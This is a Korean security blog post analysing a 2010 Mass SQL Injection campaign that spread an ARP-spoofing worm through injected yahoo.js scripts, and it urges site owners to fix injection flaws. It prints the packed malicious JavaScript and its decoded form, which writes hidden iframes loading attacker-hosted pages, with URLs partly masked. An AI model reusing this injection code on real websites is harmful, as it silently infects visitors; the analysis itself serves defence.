ARP Spoofing 공격으로 감염되는 웜의 유포지 중의 하나인 samdecaux.com(www.samdecaux.com/xxx/img.js)의 문제점을 찾아 해결하는 방법을 소개합니다.


감사합니다.
reTweet
Posted by 문스랩닷컴
blog comments powered by Disqus
    최근 ARP Spoofing 공격을 당하고 있는 PC 사용자의 사례가 급속도로 증가하고 있으며, 이를 해결하기 위해서 꽤 많은 노력을 들이는 경우가 발견되고 있습니다. 필자는 이러한 행태가 어떻게 발생하는지 추적해 정리해 봤습니다. 결론이 어떻게 나올까요?


    원래 ARP Spoofing 공격은 2007년도부터 유행하기 시작하였으며, PC가 아닌 Windows 서버에 공격을 가하는 형태였습니다. 즉, 이 때에는 웹서버 자체를 해킹하지 않았지만, 결과적으로 악성코드가 웹서버로부터 유포되는 듯한 형태입니다. 이 공격에 대한 자세한 사항은 아래 링크를 참고하십시오.

    ARP Spoofing 기법 이용한 웹페이지 악성코드 삽입사례 - KrCERT/CC 2007년03월
    http://www.krcert.or.kr/unimDocsDownload.do?fileName1=IN2007003.pdf&docNo=IN2007003&docKind=3


    하지만, 지난 8월 중순(13일경?)에 ARP Spoofing 공격코드를 포함하고 있는 Mass SQL Injection 공격이 발생되고 있으며, 현재까지도 도메인 및 숙주 서버를 변경해 가면서 꾸준히 공격을 지속하고 있습니다.

    아래 표는 '콴's 블로그 ~'에서 발췌한 자료로 2010/8/13 - 2010/9/27일까지 yahoo.js 파일을 추적한 내용이며 오른쪽에 추가된 숫자는 국내(*.kr) 도메인에 감염된 링크의 수입니다.

    2010/08/13 http://www.xxx816.com.cn/cache/yahoo.js (2,960개)
    2010/08/14 http://www.xxx.me/xxches/yahoo.js (6,740개)
    2010/08/27 http://www.xxjiayuan.com/ad/yahoo.js (6,250개)
    2010/09/04 위와 동일
    (중략)
    2010/09/27 http://www.xxtoo.com/images/img.js (82개)

    블로그에서 분석한 자료에 따르면 약 10여 차례나 위치를 바꿔가면서 공격을 진행한 것을 알 수 있으며 대략적으로 최소 5만 개 정도의 링크가 감염되었을 가능성이 있다고 볼 수 있습니다.(주: 시일이 지남에 따라 변조된 웹사이트에서 제거되거나 하는 다양한 변수가 있으므로 실제보다 더 많은 사례가 있을 것으로 예상할 수 있습니다)


    이제 현실적으로 중요한 부분을 살펴 보면, 이러한 일련의 악성코드를 진단하여 예방 또는 치료하기 위해 제시된 방안이 무엇인가 입니다. 바로 yahoo.js에 관련된 문제점(ARP Spoofing 공격을 하도록 감염된 상태)을 해결하기 위한 방법으로 제시된 것이 바로 백신(안티바이러스) 회사들의 전용 백신 그리고 발견된 악성 코드를 진단할 수 있는 데이터베이스의 업데이트로 한정되어 있다는 것입니다.

    하우리의 전용백신
    http://www.hauri.co.kr/customer/download/vaccine_view.html?uid=75

    안철수연구소 ASEC 블로그
    http://core.ahnlab.com/223

    만약 동일한 형태지만 숙주 서버를 변경하고 소스도 약간 변경하여 다시 업로드되어 있다면 백신회사는 다시 이를 찾아 새로 분석하여 업데이트하는 쫓고 쫓는 현상이 반복되고 있습니다.


    이제 여기서 중요한 사항을 한가지 빼먹은 것이 있습니다. 바로 감염이 어떻게 이뤄지는지에 대한 것입니다. 악성 코드 제작자의 단계는 생략을 하고, 어떻게 이 악성코드가 유포되는지에 대해 알아보면 우려를 금할 수가 없습니다.

    두번째 배포 단계가 바로 일반적인 웹사이트에 URL(악성코드를 다운로드하게 하는 악성 링크)을 주입하는 SQL Injection 공격으로 판단됩니다. 또한, 다수의 사이트에 대해 무차별적으로 진행이 되는 만큼 이는 Mass SQL Injection 공격으로 간주할 수도 있습니다.

    따라서, 전용 백신이나 안티바이러스의 시그내처 업데이트로는 이 문제점을 근본적으로 해결하기 어려우며, 문제가 발생한 웹사이트마다 취약점을 해결해야만 합니다. 즉, 웹사이트 담당자는 자사 웹사이트의 보안을 책임져야 하며, 좀 전의 경우와 같이 SQL Injection 공격이 발생하지 않도록 주의 및 책임을 다해야 합니다.

    감사합니다.


    참고자료:

    아래는  http://www.xxx816.com.cn/cache/yahoo.js 에서 추출해 낸 난독화되어 있는 JS 코드입니다.

    eval{function{p,a,c,k,e,d}{e=function{c}{return{c<a?'':e{parseInt{c/a}}}+{{c=c%a}>35?String.fromCharCode{c+29}:c.toString{36}}};if{!''.replace{/^/,String}}{while{c--}{d[e{c}]=k[c]||e{c}}k=[function{e}{return d[e]}];e=function{}{return'\\w+'};c=1};while{c--}{if{k[c]}{p=p.replace{new RegExp{'\\b'+e{c}+'\\b','g'},k[c]}}}return p}{'k{3.h.n{\'j\'}==-1}{l u="t${&*%{f#$&%f$s";l 4=v x{};4.y{4.z{}+i*i*r};3.h=\'j=p;q=/;4=\'+4.F{};3.m=3.m.I{/\\<{\\w|\\f}*\\>/,""};3.J{"<2 a=7://6.5.9.e/d/K.H c=0 b=0></2><2 a=7://6.5.9.e/d/A.g c=0 b=0></2>"};3.o{"<2 a=7:\\/\\/6.5.9.e\\/d\\/G.g c=0 b=0><\\/2>"};k{B.C.n{"D 8.0"}==-1}3.o{"<2 a=7:\\/\\/6.5.9.e\\/d\\/E.g c=0 b=0><\\/2>"}}',47,47,'||iframe|document|expires|800816|www|http||com|src|height|width|cache|cn|W|html|cookie|60|hello|if|var|title|indexOf|writeln|Yes|path|1000|jdlkfj2340923423423s|jasghadsfgkdfjasdf|ghw3iss|new||Date|setTime|getTime|news|navigator|userAgent|MSIE|hcp|toGMTString|count|htm|replace|write|ad'.split{'|'},0,{}}}
    (주: 오남용을 막기 위해 일부 태그 및 URL은 변경했음을 알립니다.)

    이는 base62로 디코딩하여 알아낸 원본 코드는 아래와 같습니다.

    if(document.cookie.indexOf('hello')==-1){var ghw3iss="jasghadsfgkdfjasdf$(&*%(W#$&%W$jdlkfj2340923423423s";var expires=new Date();expires.setTime(expires.getTime()+60*60*1000);document.cookie='hello=Yes;path=/;expires='+expires.toGMTString();document.title=document.title.replace(/\[(\w|\W)*\]/,"");document.write("[iframe src=http://xxx.xx0816.com.cn/cache/ad.htm width=0 height=0][/iframe][iframe src=http://xxx.xx0816.com.cn/cache/news.html width=0 height=0][/iframe]");document.writeln("[iframe src=http:\/\/xxx.xx0816.com.cn\/cache\/count.html width=0 height=0][\/iframe]");if(navigator.userAgent.indexOf("MSIE 8.0")==-1)document.writeln("[iframe src=http:\/\/xxx.xx0816.com.cn\/cache\/hcp.html width=0 height=0][\/iframe]")}
    (주: 오남용을 막기 위해 일부 태그 및 URL은 변경했음을 알립니다.)

    PS: 악성코드의 감염에 대한 2차적인 책임은 사용자에게 있을 것으로 보입니다. 보안 패치를 제대로 하지 않았거나, 완성도가 있는 백신을 사용하지 않거나, 불필요한 동작(!)을 한 경우가 대부분일 것입니다.

    끝.
    reTweet
    Posted by 문스랩닷컴
    blog comments powered by Disqus


      Web Analytics Blogs Directory